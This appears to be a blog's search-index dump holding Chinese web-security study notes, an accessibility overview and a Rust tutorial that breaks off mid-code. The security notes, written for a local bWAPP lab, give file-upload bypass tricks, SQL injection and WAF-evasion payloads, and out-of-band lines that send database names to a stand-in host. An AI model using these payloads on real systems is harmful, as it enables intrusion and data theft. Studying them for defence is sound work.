，Redis实战，深入浅出React和Redux，深入理解TypeScript，前端技术架构与工程，labuladong的算法小抄，算法图解，Python3网络爬虫开发实战，前端架构：从入门到微前端，前端开发核心知识进阶：从夯实基础到突破瓶颈，Vue.js设计与实现，MongoDB进阶与实战:微服务整合、性能优化、架构管理，Angular开发入门与实战，React设计原理","title":"关于"},{"content":"常见web工具：\nburpsuite：通过代理渗透，可重放HTTP请求，来分析HTTP响应\ncurl：通过url方式传输数据，可用于抓取页面（执行请求），监控网络等等\npostmain\nhackbar quantum\nwappalyzer\n文件上传漏洞：没有足够的安全约束的情况下，允许上传恶意文件，例如恶意脚本，webshell等等\n文件上传漏洞关键点在于绕过\n由于法律限制的原因，禁止对其他网站非法攻击，因此需要在本地或者在自己的服务器上建立靶场渗透环境，这边使用的是bwapp（全称为buggy web Application）\n这边使用的是docker运行bwapp，也可以下载bwapp，来自己搭建（https://sourceforge.net/projects/bwapp/files/）\ndocker pull raesene/bwapp\ndocker run -d -p 0.0.0.0:80:80 raesene/bwapp\n访问127.0.0.1/install.php\n点击here来初始化，或者直接访问127.0.0.1/install.php?install=yes\n创建账号信息，点击new user，或者直接访问127.0.0.1/user_new.php\n点击login，或者直接访问127.0.0.1/login.php，根据刚才的账号信息进行登录\n简单接触文件上传漏洞\nchose your bug选择unrestricted File Upload（未经严格审记的文件上传），安全级别选择low（set your security level）\n上传一句话木马，创建shell.php文件，添加\n通过curl触发，执行curl -d \u0026rsquo;test=echo getcwd();\u0026rsquo; http://127.0.0.1/images/shell.php\n可以看到成功触发shell.php，并且服务器返回了当前执行的目录\n后缀名绕过\n安全级别选择medium（set your security level）\n常见后缀名验证方式有，黑名单（禁止哪些后缀上传），白名单（只允许哪些后缀上传）\n这里的靶场环境的web server为Apache，因此需要了解Apache解析器模块\n.htaccess绕过，当黑名单没有限制上传.htaccess文件时，并且web sever也支持.htaccess时\n上传.htaccess文件，内容为：AddType application/x-httpd-php jpg\n上传木马，shell.jpg\nAddType application/x-httpd-php jpg的意思是，jpg文件按照php文件的方式解析\n大小写绕过\n大小写用于Windows平台环境下，在Windows中，大小写是不敏感的，而在Linux环境下，大小写是敏感的\nWindows文件流绕过\n利用windows平台的NTFS文件系统的文件流特性，设置文件时，默认使用未命名的文件流，但是也可以创建其他命名的文件流\n例如：\necho hallo,word \u0026gt; hallo.txt:a.txt\recho hallo \u0026gt; hallo.txt\recho 666 \u0026gt; hallo.txt::$data\r第一个例子中，hallo,word并没有写入到hallo.txt，而是写入到了hallo.txt下的a.txt文件流中\n第三个例子中，666写入到了hallo.txt默认文件流中\n针对于白名单进行绕过\n截断绕过（环境要求：php\u0026gt;5.3.42，magic_quotes_gpc关闭）\n搭配burpsuite来拦截http请求\n上传shell.php，通过拦截修改请求报文，修改为shell.php$00.jpg\n$00在url中会解析为0，而在ASCII中0又表示为字符串结束，因此当url出现$00时，表示字符串读取结束\n因此在上传shell.php$00.jpg时，对于先上传后检测的服务端来说，实质上传的是shell.php\nSQL注入\nSQL注入漏洞是用户应用层与数据库层的安全漏洞\n发生SQL注入的原因就是用户应用层提供的数据存在恶意SQL语句，当这些恶意SQL语句不被审查就执行的话是非常危险的，例如在一些输入框（比如搜索框）中提交一些恶意SQL语句，因为后端需要根据用户提供的数据来动态的构造SQL查询语句，而且这些动态参数存在恶意SQL语句时又没有进行过滤审查，将导致SQL注入漏洞触发\n过程：通过数据库管理系统执行SQL命令，并且将数据库管理系统的执行结果返回给web服务器，web服务器再将结果进行整合成html网页，最后发送给客户端\nGET型SQL注入漏洞是指使用GET请求方法进行URL链接拼接，来获取到超越权限的数据\nGET型SQL注入漏洞\n方法1：利用UNION操作符，并且通过SELECT 1,2,3,4,5来查找可以显示多少字段数据\nUNION SELECT 1,user(),database(),table_name,version() FROM INFORMATION_SCHEMA.tables WHERE table_schema=database() \u0026ndash;\n查找INFORMATION_SCHEMA数据库的tables表的使用了当前数据库用户名，当前数据库名称，当前数据库版本，以及当前数据库的数据表，后面的\u0026ndash;是sql注释，也可以使用#来注释掉后面的sql命令\n当查找到的数据表存在敏感名称时，例如user时，可对敏感名称的表进行查找\nUNION SELECT 1,columns,3,4,5 FROM INFORMATION_SCHEMA.columns WHERE table_name=\u0026lsquo;user\u0026rsquo; \u0026ndash;\n通过上面的命令查找user表的字段，当出现password，login等字段时，可以确定为后台的登录密码以及用户\nUNION SELECT 1,password,login,4,5 FROM user \u0026ndash;\n通过上面的命令查找user表的password和login字段\n注意：一般来说password字段返回的数据都是加密过的，而且绝大多加密算法都是不可逆的，只能通过彩虹表来碰撞\nPOST型SQL注入漏洞（主要通过http请求工具，因为post请求不是通过url发送的，http请求工具例如postman或者burpsuite，触发的方法和get型类似）\n判断SQL注入点\n能够与数据库进行交互，并且可以提交参数到网页时，那么可能存在sql注入\n单引号判断法\nhttps://webtest.xiaochenabc123.test.com?id=1'\n如果页面报错则存在SQL注入，因为sql会因为单引号个数不成对而导致sql执行错误而报错\n判断注入的参数类型（如果参数可以输入非整型，则直接使用字符串型）\n整型\nSELECT * FROM test where id = and 1=1\n字符串型\nSELECT * FROM test where id = \u0026lsquo;1\u0026rsquo; and \u0026lsquo;1\u0026rsquo;=\u0026lsquo;1\u0026rsquo;\n百分号判断法\n针对于使用了LIKE关键字的\nhttps://webtest.xiaochenabc123.test.com?id=1$' and \u0026lsquo;1\u0026rsquo;=\u0026lsquo;1\u0026rsquo; \u0026ndash;\n简单的SQL注入防御方法：\n减低错误信息的提供\n使用mysql_escape_string($id)转义，将\u0026rsquo;转义\n过滤and，or，union，select等等关键词（黑名单）\nSQL注入漏洞主要的类型：布尔型注入，可联合查询注入，基于时间延迟注入，报错型注入，可多语句查询注入\n布尔型注入\nhttps://webtest.xiaochenabc123.test.com/?id=1' and substring(version) = 5\u0026ndash;\n布尔型注入被用于盲注，上面的例子中是通过布尔型注入来判断一下数据库版本是否为5，如果是的，那么将会是正常请求\n联合查询注入（使用UNION关键字来拼接自己想要执行的SQL语句）\n基于时间延迟注入（通过判断请求响应的时间来得到想要的信息，盲注，当页面不会提供报错信息时，布尔型注入也无效时采用）\nhttps://webtest.xiaochenabc123.test.com/?id=1' and slepp(5)\u0026ndash;\nslepp函数的作用是当sql语句执行完成后等待指定秒数再去返回执行结果，通过感觉时间来确定该语句是否正常执行\n报错型注入（如果页面可以返回sql报错信息时使用，通过报错信息中获取数据）\n多语句查询型注入（当页面可以执行多条SQL语句时）\n例如：https://webtest.xiaochenabc123.test.com/?id=1; SELECT * FROM test where id =1\u0026ndash;\n多语句查询型注入可以使用时，很大可能UPDATA数据库更新或者删除数据库可以触发\nHTTP头注入\n利用http请求头，当web服务器需要从http请求头中获取信息到数据库中时（针对不进行过滤审查就直接进行数据库操作时）\n通过http请求工具，例如postman或者burpsuite，修改请求头，重放攻击\nUser-Agent: abc\u0026rsquo;, (SELECT database()) \u0026ndash;\n堆叠注入（多条sql命令一起执行）\n使用;结束当前sql命令后继续执行下一条sql命令\n联合注入和堆叠注入区别：联合注入只能进行查询操作（取决于sql命令的拼接头是查询还是更新还是删除，或者插入），而堆叠注入可以执行任意sql命令\n一般实质环境中堆叠注入用不到（可以会出现权限问题），但是一用到就威力无穷\nOOB注入（out of band，带外通道技术）\n通过生成请求体来攻击，目标服务器接收到恶意的请求体后，进一步处理，处理的过程中目标服务器可能要向外部发送请求或者向外部获取资源，而这个外部实质是攻击者控制的服务器，在进行外部的请求时，将数据一起发送给攻击者控制的服务器，最后在攻击者控制的服务器查看数据（例如：通过dns记录来显示）\nhttps://test1.xiaochenabc123.test.com/?id=1' and SELECT CONCAT(\u0026rsquo;\\\\\u0026rsquo;,(SELECT database(),\u0026rsquo;.test2.xiaochenabc123.test.com\u0026rsquo;);\nhttps://test1.xiaochenabc123.test.com/?id=1' and SELECT LOAD_FILE(CONCAT(\u0026rsquo;\\\\\u0026rsquo;,(SELECT database(),\u0026rsquo;.test2.xiaochenabc123.test.com\u0026rsquo;));\n最后在DNS记录中查看到想要的数据，上面的例子是获取当前的数据库名\n利用HTTP协议来OOB注入\nhttps://test1.xiaochenabc123.test.com/?id=1' and SELECT UTL_HTTP.REQUEST(https://test2.xiaochenabc123.test.com/test.php \u0026lsquo;||\u0026rsquo;?id=\u0026rsquo;||(SELECT database())) FROM dual;\n上面的例子是通过https://test2.xiaochenabc123.test.com的test.php记录传递的数据，并且写入到test.txt中\n混淆和绕过\n一般的注入攻击会被WAF检测和过滤掉，而混淆和绕过就是针对WAF防御的手段\n过滤词绕过\nOR可使用||绕过，AND可使用\u0026amp;\u0026amp;绕过\nunion被过滤可使用||来绕过，例如：https://test1.xiaochenabc123.test.com/?id=1\u0026rsquo; ||(SELECT user FROM usermain limit 1,1) = \u0026lsquo;root\u0026rsquo;\nlimit被过滤，可通过GROUP BY语句创建一个虚拟表，来绕过，例如：https://test1.xiaochenabc123.test.com/?id=1\u0026rsquo; || SELECT min(user),id FROM usermain GROUP BY user HAVING user=\u0026lsquo;root\u0026rsquo;\nGROUP BY被过滤，可通过SUBSTR()函数和GROUP_CONCAT()函数绕过，例如：https://test1.xiaochenabc123.test.com/?id=1\u0026rsquo; || SELECT SUBSTR((SELECT GROUP_CONCAT(user)user FROM usermain),1,1)\nSELECT和引号被过滤，可通过SUBSTR()函数绕过，例如：https://test1.xiaochenabc123.test.com/?id=1\u0026rsquo; || SUBSTR(user,1,1=0x72)\n空格被过滤，可通过/**/来替代空格来分开sql语句\n等号被过滤，可通过like关键字绕过\n双写绕过：例如union被过滤，可使用ununionion来替代，当ununionion被union被过滤机制处理后，将中间的union替代为空，导致左右两边合在了一起，从而达到绕过的目的、\n双重编码绕过：当某个url编码的参数会被WAF编码过滤时，可对参数进行二次编码，让WAF解第一层编码，但是还有第二层编码，从而达到绕过的目的\n编码注入（url编码）：%27表示\u0026rsquo;，%23表示#，%df表示无意义，%5c表示\\，%3d表示=，%2A表示*，例如：https://test1.xiaochenabc123.test.com/?id=1 %df SELECT %2A FROM test where id %3d 1 %23\n二次注入：数据库存储的数据并不安全，不应该直接调用数据库的数据，例如admin\u0026rsquo;#\n提权\nLinux的特殊权限\nSUID（Set UID）：除了rwx权限外的s权限，当某个普通用户具备运行具备SUID权限的文件时，那么当运行该文件，将会使用该文件所有者的身份去执行该文件，只要执行一结束，该身份将会消失\n例如passwd命令，该命令具备SUID权限，当执行该命令时，将表示使用root身份来执行passwd命令，从而修改/usr/bin/passwd这个密码记录文件（该文件普通用户没有任何权限，当然权限只能限制普通用户，root用户是不会被限制的）\n注意：SUID的特性，必须具备可执行权限，而且只对可执行文件有效，目录以及不可执行文件无效，提升权限的效果只在文件执行过程有效，执行结束则身份恢复，s权限必须在所有者权限上（也就是-rws\u0026ndash;x\u0026ndash;x）\nSGID（Set GID）：当s权限出现在所属组中将变成SGID权限，如：-rwx\u0026ndash;s\u0026ndash;x，同样SGID只对可执行文件有效，而且其他用户具备可执行文件，一样只在执行过程中有效\n该特殊权限的特性：在执行该具备SGID特殊权限的可执行文件时，当前用户的组身份将变成文件所属组的身份，赋予的是所属组的权限\n注意：SGID对目录也是具备效果的，只不过当目录被赋予SGID权限后，不是执行触发，而且进入该目录就会触发特性，但是前提是该目录对于普通用户具备rwx权限，这样才能发挥SGID在目录的全部功能\nSBIT（Stick BIT）：t权限，该特殊权限只对目录有效，当目录具备了SBIT特殊权限后，那么不管用户在该目录下创建的文件还是目录，都是只有该用户和root用户有权限修改和删除\n该权限的表示为：drwxrwxrwt，哪怕其他用户具备该目录的全部权限\nDDOS攻击（分布式拒绝服务攻击）\n原理：利用TCP/IP协议族的漏洞，来对目标服务器发送数据流，当超过服务器的处理能力或者服务器的带宽被饱和了，将导致服务器崩溃或者服务器网络崩溃，常见的DDOS攻击有：UDP泛洪攻击，DNS放大攻击，ICMP泛洪攻击，内存缓存放大攻击，SYN泛洪攻击，PING泛洪攻击，NTP放大攻击，ACK泛洪攻击，HTTP泛洪攻击（也就是CC攻击），Slowloris攻击，HTTP Post DDOS攻击等等\nUDP泛洪攻击：利用UDP不需要建立连接就可以发送数据包的特性，大量发送UDP数据包给目标服务器的随机端口，当服务器接收到UDP数据包时，如果该端口没有应用在监听接收数据，会给发送方发送一个数据包，来表示目标端口不可用，当量大到一定程度时，服务器将无法对合法数据进行反应，从而达到拒绝服务的目的，对于会给发送方发送数据包，可进行伪造IP地址，不但不会作用到攻击机上，还做到了匿名\nDNS放大攻击：利用DNS服务器，对DNS服务器发送DNS请求响应，但是该请求包被伪造成了目标服务器的IP，DNS服务器将会向目标服务器发送大量的数据包，从而造成网络阻塞，来达到拒绝服务的目的\nICMP泛洪攻击：通过不断发送ICMP ECHO REQUEST来对消耗目标服务器的处理器资源和带宽\n攻击者控制的僵尸机对目标服务器发送ICMP ECHO REQUEST，目标服务器需要返回ICMP ECHO REPLY，常见的攻击手法有ping\n内存缓存放大攻击：利用UDP的特性（不需要连接），当使用伪造IP对目标服务器发送http请求，目标服务器接收到请求后，发送响应到伪造的IP上，当目标服务器无法处理庞大的请求响应时，将会导致服务器崩溃和带宽饱满\n放大攻击就是利用了请求包和响应包的体积差，发送小的请求包，需要返回大的响应包，从而达到放大攻击的效果\nSYN泛洪攻击和ACK泛洪攻击都是利用TCP的三次握手的特性\nSYN泛洪攻击：伪造IP向目标服务器发送SYN包，目标服务器接收到后返回ACK给伪造IP的机子，但是接收ACK的目标是不存在的，如果不对其进行确认ACK的话，目标服务器将该次连接挂起（半连接状态），目标服务器会重复发送ACK给伪造的IP上，当量大时，挂起的连接将会消耗掉目标服务器的资源，导致其崩溃，从而达到拒绝服务攻击的目的\nACK泛洪攻击：向目标服务器发送大量的ACK数据包，实质理论和SYN泛洪攻击类似\nHTTP泛洪攻击：发送正常的请求，目标服务器需要返回响应，但是这个正常的请求是有针对性的，针对服务器需要消耗大量资源来做出响应的请求，例如搜索请求\nSlowloris攻击：利用HTTP Request的特性，通过\\r\\n\\r\\n来表示HTTP请求发送已完成，当\\r\\n\\r\\n永远不发送时，目标服务器将会保持TCP连接，并且以一种极低速度来发送数据给目标服务器，让目标服务器认为HTTP Request还没有接收完成从而保持TCP连接，当量大时，目标服务器将被占满TCP连接，从而接收不到新的请求，最后达到拒绝服务攻击的目的\n防御Slowloris攻击很简单，限制HTTP Request传输的最大时间，超时将中断连接，并且拉入黑名单\nHTTP Post DDOS攻击：和Slowloris攻击类似，一样是慢速攻击，不过是通过指定一个大的content-length，但是发送包的速度很慢，来达到保持连接，消耗目标服务器的资源\n","permalink":"https://xiaochenabc123.github.io/posts/145/","summary":"常见web工具：\nburpsuite：通过代理渗透，可重放HTTP请求，来分析HTTP响应\ncurl：通过url方式传输数据，可用于抓取页面（执行请求），监控网络等等\npostmain\nhackbar quantum\nwappalyzer\n文件上传漏洞：没有足够的安全约束的情况下，允许上传恶意文件，例如恶意脚本，webshell等等\n文件上传漏洞关键点在于绕过\n由于法律限制的原因，禁止对其他网站非法攻击，因此需要在本地或者在自己的服务器上建立靶场渗透环境，这边使用的是bwapp（全称为buggy web Application）\n这边使用的是docker运行bwapp，也可以下载bwapp，来自己搭建（https://sourceforge.net/projects/bwapp/files/）\ndocker pull raesene/bwapp\ndocker run -d -p 0.0.0.0:80:80 raesene/bwapp\n访问127.0.0.1/install.php\n点击here来初始化，或者直接访问127.0.0.1/install.php?install=yes\n创建账号信息，点击new user，或者直接访问127.0.0.1/user_new.php\n点击login，或者直接访问127.0.0.1/login.php，根据刚才的账号信息进行登录\n简单接触文件上传漏洞\nchose your bug选择unrestricted File Upload（未经严格审记的文件上传），安全级别选择low（set your security level）\n上传一句话木马，创建shell.php文件，添加\n通过curl触发，执行curl -d \u0026rsquo;test=echo getcwd();\u0026rsquo; http://127.0.0.1/images/shell.php\n可以看到成功触发shell.php，并且服务器返回了当前执行的目录\n后缀名绕过\n安全级别选择medium（set your security level）\n常见后缀名验证方式有，黑名单（禁止哪些后缀上传），白名单（只允许哪些后缀上传）\n这里的靶场环境的web server为Apache，因此需要了解Apache解析器模块\n.htaccess绕过，当黑名单没有限制上传.htaccess文件时，并且web sever也支持.htaccess时\n上传.htaccess文件，内容为：AddType application/x-httpd-php jpg\n上传木马，shell.jpg\nAddType application/x-httpd-php jpg的意思是，jpg文件按照php文件的方式解析\n大小写绕过\n大小写用于Windows平台环境下，在Windows中，大小写是不敏感的，而在Linux环境下，大小写是敏感的\nWindows文件流绕过\n利用windows平台的NTFS文件系统的文件流特性，设置文件时，默认使用未命名的文件流，但是也可以创建其他命名的文件流\n例如：\necho hallo,word \u0026gt; hallo.txt:a.txt\recho hallo \u0026gt; hallo.","title":"web安全学习笔记"},{"content":"a11y全称为Accessibility，A到y之间有11个字母，因此叫a11y，Accessibility中文翻译为可访问性，也就是无障碍\n让网站具备无障碍性，可以让一些视觉障碍人士访问该网站，而且就算是其他人士使用，也会因a11y而受益（不因网络慢，css文件丢失而无法正常浏览页面内容）\n在mdn上有句话：The Web is fundamentally designed to work for all people, whatever their hardware, software, language, culture, location, or physical or mental ability. When the Web meets this goal, it is accessible to people with a diverse range of hearing, movement, sight, and cognitive ability.\nw3c发布了Web内容无障碍指南 (WCAG) https://www.w3.org/Translations/WCAG21-zh/\n妨碍障碍人士访问web页面常见是视觉障碍，一般需要使用放大镜或者屏幕缩放来访问，严重的可能需要使用屏幕阅读器\n常见的屏幕阅读器有：NVDA（windows），ChromeVox（Chrome浏览器内置），Narrator（windows内置，也就是我们说的讲述人），VoiceOver（苹果家的，像MacOS，ios，ipadOS都内置了），TalkBack（安卓内置），以及Orca（Linux内置）\nmdn对于障碍人士可访问性优化提供了建议：\n1.使用多种方式传达内容，比如从文本到语音或是视频； 2.更易理解的内容，例如使用更通俗的语言书写的文本； 3.将注意力集中在重要内容上； 4.尽量减少干扰，例如不必要的内容或广告； 5.一致的网页布局和导航； 6.相似的元素，比如未访问的下划线链接使用蓝色而访问过的使用紫色； 7.将过程划分为更有逻辑的，必要的步骤并附上进度指示器； 8.在不影响安全性的情况下尽可能让网站认证更简单；并且 9.使表单容易完成，例如带有清晰的错误消息和简单的错误恢复。\n而WCAG指南也提供了建议：\n可感知性（Perceivable）：非文本内容有文本替代，对于视频内容应该提供字幕，确保视感和听感都可浏览，不会因为某些原因导致信息或者结构（可以理解为文本顺序）丢失，应该具备可辨别性（颜色不应该作用区别视觉的唯一手段（针对色盲人士））\n可操作性（Operable）：页面可通过键盘来操作，而不是唯一依赖于鼠标，提供足够的时间来阅读和使用内容（比如定时可调整，关闭定时，延长定时等等），防癫痫（不使用会诱发癫痫的设计，例如控制闪光的次数），提供导航，查找以及提供内容位置，允许使用键盘之外的设备输入（例如鼠标或者手写板）\n可理解性（Understandable）：内容应该都是可读，可被理解的（例如设置多种人类语言，比如英文，中文，日文等等，根据操作系统使用语言或者时区设置为默认语言，语言可切换），任何操作都应该具备可预见性（例如关闭一个弹窗，不会导致其他意想不到的情况发生），当输入出现问题应该提示用户哪错了（例如注册时，密码的组合程度等等），当出现用户操作出错时，应该做到操作可逆或者二次确定操作（给予用户检查和纠正的机会）\n鲁棒性（Robust）：应该在发生某一些系统故障或者网络故障时，确保还能正常工作，而不是罢工或者出错，鲁棒性又叫抗干扰性，健壮性\n","permalink":"https://xiaochenabc123.github.io/posts/144/","summary":"a11y全称为Accessibility，A到y之间有11个字母，因此叫a11y，Accessibility中文翻译为可访问性，也就是无障碍\n让网站具备无障碍性，可以让一些视觉障碍人士访问该网站，而且就算是其他人士使用，也会因a11y而受益（不因网络慢，css文件丢失而无法正常浏览页面内容）\n在mdn上有句话：The Web is fundamentally designed to work for all people, whatever their hardware, software, language, culture, location, or physical or mental ability. When the Web meets this goal, it is accessible to people with a diverse range of hearing, movement, sight, and cognitive ability.\nw3c发布了Web内容无障碍指南 (WCAG) https://www.w3.org/Translations/WCAG21-zh/\n妨碍障碍人士访问web页面常见是视觉障碍，一般需要使用放大镜或者屏幕缩放来访问，严重的可能需要使用屏幕阅读器\n常见的屏幕阅读器有：NVDA（windows），ChromeVox（Chrome浏览器内置），Narrator（windows内置，也就是我们说的讲述人），VoiceOver（苹果家的，像MacOS，ios，ipadOS都内置了），TalkBack（安卓内置），以及Orca（Linux内置）\nmdn对于障碍人士可访问性优化提供了建议：\n1.使用多种方式传达内容，比如从文本到语音或是视频； 2.更易理解的内容，例如使用更通俗的语言书写的文本； 3.将注意力集中在重要内容上； 4.尽量减少干扰，例如不必要的内容或广告； 5.一致的网页布局和导航； 6.相似的元素，比如未访问的下划线链接使用蓝色而访问过的使用紫色； 7.将过程划分为更有逻辑的，必要的步骤并附上进度指示器； 8.在不影响安全性的情况下尽可能让网站认证更简单；并且 9.使表单容易完成，例如带有清晰的错误消息和简单的错误恢复。\n而WCAG指南也提供了建议：\n可感知性（Perceivable）：非文本内容有文本替代，对于视频内容应该提供字幕，确保视感和听感都可浏览，不会因为某些原因导致信息或者结构（可以理解为文本顺序）丢失，应该具备可辨别性（颜色不应该作用区别视觉的唯一手段（针对色盲人士））\n可操作性（Operable）：页面可通过键盘来操作，而不是唯一依赖于鼠标，提供足够的时间来阅读和使用内容（比如定时可调整，关闭定时，延长定时等等），防癫痫（不使用会诱发癫痫的设计，例如控制闪光的次数），提供导航，查找以及提供内容位置，允许使用键盘之外的设备输入（例如鼠标或者手写板）\n可理解性（Understandable）：内容应该都是可读，可被理解的（例如设置多种人类语言，比如英文，中文，日文等等，根据操作系统使用语言或者时区设置为默认语言，语言可切换），任何操作都应该具备可预见性（例如关闭一个弹窗，不会导致其他意想不到的情况发生），当输入出现问题应该提示用户哪错了（例如注册时，密码的组合程度等等），当出现用户操作出错时，应该做到操作可逆或者二次确定操作（给予用户检查和纠正的机会）\n鲁棒性（Robust）：应该在发生某一些系统故障或者网络故障时，确保还能正常工作，而不是罢工或者出错，鲁棒性又叫抗干扰性，健壮性","title":"简单了解a11y无障碍"},{"content":"Rust由非盈利组织Mozilla基金会开发，像著名的Mozilla Firefox浏览器和MDN Web Docs都出自该基金会\n安装\n官方推荐使用Rustup来安装（Rustup是rust的安装器和版本管理工具）\n通过rustup-init来安装Rust\nhttps://www.rust-lang.org/zh-CN/tools/install\nwindows直接安装pustup-init.exe来安装（需联网）,默认通过vc安装，建议选择2自定义安装\nLinux或者macOS则直接执行以下命令\ncurl \u0026ndash;proto \u0026lsquo;=https\u0026rsquo; \u0026ndash;tlsv1.2 -sSf https://sh.rustup.rs | sh\n注意：Rust的一些包，可能还依赖C编译器，因此最好安装一下GCC\n检查是否安装完成\nrustc \u0026ndash;version\n如果喜欢用Visual Studio Code开发，可搭配rust-analyzer插件来使用\n更新rust\nrustup update\n卸载rust和rustup\nrustup self uninstall\n在安装rustup的同时也会安装Cargo\nCargo是rust的项目构建工具和包管理器\n检查是否安装成功\ncargo \u0026ndash;version\n创建第一个rust项目\ncargo new halloword\n其中Cargo.toml文件是项目的依赖库文件\n通过编辑Cargo.toml文件来添加依赖\nrust依赖可通过https://crates.io/查找\n[package]\rname = \u0026quot;hallo_word\u0026quot;\rversion = \u0026quot;0.0.1\u0026quot;\redition = \u0026quot;2021\u0026quot;\r[dependencies]\rhyper = \u0026quot;0.14.20\u0026quot; # 来自https://crates.io/\r# hyper = { git = \u0026quot;https://github.com/hyperium/hyper\u0026quot; } # 来自第三方社区\r# hyper = { path = \u0026quot;../hyper\u0026quot; } # 来自本地文件\r构建依赖到项目中\ncargo build halloword\n当构建完成后，会在项目的根目录中创建一个名叫Cargo.lock的文件，该文件记录项目依赖的版本\nsrc/main.rs是该项目的程序编写文件\n在src/main.rs添加以下内容\nfn main() {\rprintln!(\u0026quot;hallo, world\u0026quot;);\r};\r进入该项目根目录运行该项目\ncargo run\n或者直接编译main.rs\nrustc main.rs ./main\n注意：在windows上，需要加.exe，.\\main.exe\n在hallo word例子中看到，fn是创建函数的关键字，main是函数名，该函数调用了println!()，其实这是一个macro（宏），\u0026ldquo;hallo, world\u0026quot;作为字符串参数传递到了该宏中\n另外cargo提供了一个命令，来不用生成二进制文件的前提下构建项目，来检查项目的错误\ncargo check\nbuild和run默认是debug版本的，如果需要编译release版本执行cargo build \u0026ndash;release\n在rust中函数是一等公民，其中main函数是程序的入口函数（和golang一样）\n注释可以让rust编译器忽略，例如：// hallo word\n多行注释可使用块注释，例如：\n/*\rhallo\rword\r*/\r文档注释，行注释例如：\n/// 1\r/// 2\r/// 3\r文档块注释，例如：\n/**\rhallo\rword\r*/\r注意：文档注释必须位于lib类型的包中，文档注释看使用md语法\n可使用cargo doc命令，来对文档注释生成html文件，放在target/doc目录下，也可以使用 cargo doc \u0026ndash;open 生成文档后自动打开html网页\n变量通过let关键字来创建\nfn main() {\rlet mut abc = \u0026quot;hallo word\u0026quot;;\rabc = \u0026quot;hhh\u0026quot;;\rprintln!(\u0026quot; abc: {}\u0026quot;,abc);\r};\r注意：rust变量默认是不能变得，需要通过mut关键字来让变量可变\n变量存在遮蔽性，如果使用let关键重复声明同一个变量，会遮蔽之前声明的变量的值和类型\n变量的遮蔽性和mut关键字的区别是，mut关键字无法修改变量的类型，mut关键字修改的只能是相同类型的值\n常量通过const关键字来创建\nfn main() {\rconst ABC = \u0026quot;hallo word\u0026quot;;\rprintln!(\u0026quot; ABC: {}\u0026quot;,ABC);\r};\r常量不可变，也不能使用mut，而且必须声明类型（字面量也算是一种类型声明）\n数据类型\nrust是静态型编译语言，因此需要在编译之前就知道全部变量的类型\nrust有4大基础类型，这个基础类型又叫标量类型，分别是整型，浮点型，布尔型，字符型\n整型就是没有小数的整数（分符号类型和无符号类型，区别是是否为负数，可能为负数使用有符号类型，不可能为负数使用无符号类型）\n整型使用u表示无符号类型，用i表示有符号类型，再声明使用多少位的空间，例如i32，就是占32位空间的有符号类型\n还有2个特殊的类型，isize和usize，这个类型取决程序执行环境的系统架构，使用64位架构就是占64位空间\n整型支持十进制，八进制，二进制，十六进制和字节，rust默认使用i32类型\n注意：使用有符号类型会将以二进制补码的方式来存储\n浮点类型，就是带小数的数字，rust的浮点型有2个类型，分别是f32和f64，默认是f64，f64是双精度浮点型，f32类型是单精度，并且全部类型都是具备符号的（可为负数）\n布尔类型，布尔类型只能是这2个值得其中之一，true和false，布尔类型使用bool关键字来声明，例如 let a: bool = true;,当然也是可以使用字面量来声明\n字符类型，字符类型使用单引号包括，并且只能表示一个Unicode字符（因为字符类型只使用4个字节）\n字符串类型使用双引号表示，可表示多个字符，使用String表示，例如：\nlet a:String = \u0026quot;hallo word\u0026quot;;\rprinln!(\u0026quot;{}\u0026quot;,a);\r除了标量类型外还有复合类型，复合类型有6种，分别是元组和数组，枚举，结构体，字符串，切片\n元组类型就是无法扩展和收缩的数组（元组可使用不同的类型），长度是固定的，例如：\nlet a: (i64, f64) = (100,3.14);\r获取元组的元素可通过解构的方式来完成，例如：\nlet a: (i64, f64) = (100,3.14);\rlet (b,c) = a;\r也可以通过索引值来获取，例如：\nlet a: (i64, f64) = (100,3.14);\rlet b = a.1;\r元组的索引是从0开始的\n数组类型和元组不同，数组的类型必须是相同类型的，数组长度也是固定的\nlet a = [1,233,666];\rrust也提供了动态数组（vector），动态数组将被分配到堆内存空间，而普通数组会被分配到栈内存空间\n动态数组使用Vec的方式来声明，动态数组也不能使用不同的类型，但是动态数组可以扩展空间和缩小，而且全部元素在内存是相邻排列的，可使用Vec::new()来创建一个空的动态数组，例如：\nlet a: Vev\u0026lt;u64\u0026gt; = Vec::new();\r当然也可以提供初始值来创建\nlet b = vec![2,4,68];\rrust可以根据字面量来自动推断出类型\n动态数组增加元素使用push方法，例如：\nlet mut a: Vev = Vec::new()； a.push(1); a.push(2); a.push(3); a.push(4); a.push(5);\n注意：动态数组离开当前作用域会被丢弃销毁\n获取动态数组的元素，可通过get方法或者索引来完成，例如：\nlet a = vec![2,4,68];\rlet b = a.get(2);\rlet c = \u0026amp;a[2];\rget方法和索引的区别是，get方法访问超过数组不存在的元素是不会报错的，而是返回none，而索引访问是会导致报错，程序崩溃的\n遍历动态数组\nlet a = vec![2,4,68];\rfot i in \u0026amp;a{\rprintln!(\u0026quot;{}\u0026quot;,i);\r};\r动态数组支持枚举类型，这可以让动态数组存储不同类型的值，例如；\nenum Hallo{\rInt(i64),\rText(String),\r};\rlet a = vec![\rHallo::Int(666),\rHallo::Text(Sting::from(\u0026quot;hallo word\u0026quot;)),\r];\r函数，是rust的第一个公民，main函数是rust程序入口文件，而且函数定义可在main函数之前或者之后，使用fn关键字来声明，例如：\nfn hallo_word(){\rprintln!(\u0026quot;hallo word\u0026quot;);\r};\rfn main(){\rhallo_word();\r};\r函数参数\nfn main(){\ra(666);\r};\rfn a(x:i64){\rprintln!(\u0026quot;{}\u0026quot;,x);\r};\r函数返回值\nfn main(){\ra(666);\r};\rfn a(x:i64) -\u0026gt;{\rx+123\r};\r注意：返回值使用-\u0026gt;返回，而且不能使用分号，因为语句无法作为返回值返回\nif判断\nlet a = 1;\rif a \u0026lt;10{\rprintln!(\u0026quot;true \u0026gt;10\u0026quot;);\r}else if(a\u0026gt;0){\rprintln!(\u0026quot;true \u0026gt;10\u0026quot;);\r}else{\rprintln!('none')\r};\r注意：if判断必须提供一个布尔类型的值，否则会抛出错误\n表达式是可以赋值给变量的，例如：let boola = true; let a = if boola{1} else{2}\nrust的循环有3种，分别是for，while，以及loop\nfor遍历循环（常用于遍历集合元素），例如：\nlet a = [1,2,3,45,6];\rfor b in a {\rprintln!(\u0026quot;{}\u0026quot;,b);\r};\rwhile循环，条件为真执行，为假停止循环。例如：\nlet mut a = 0\rwhile a \u0026lt;= 10{\rprintln!(\u0026quot;hallo wrod\u0026quot;);\ra +=1;\r};\rloop关键字可以一直执行语句，直到被跳出（可使用break关键字），例如：\nlet mut count = 0;\rloop{\rprintln!(\u0026quot;hallo word\u0026quot;);\rif (count == 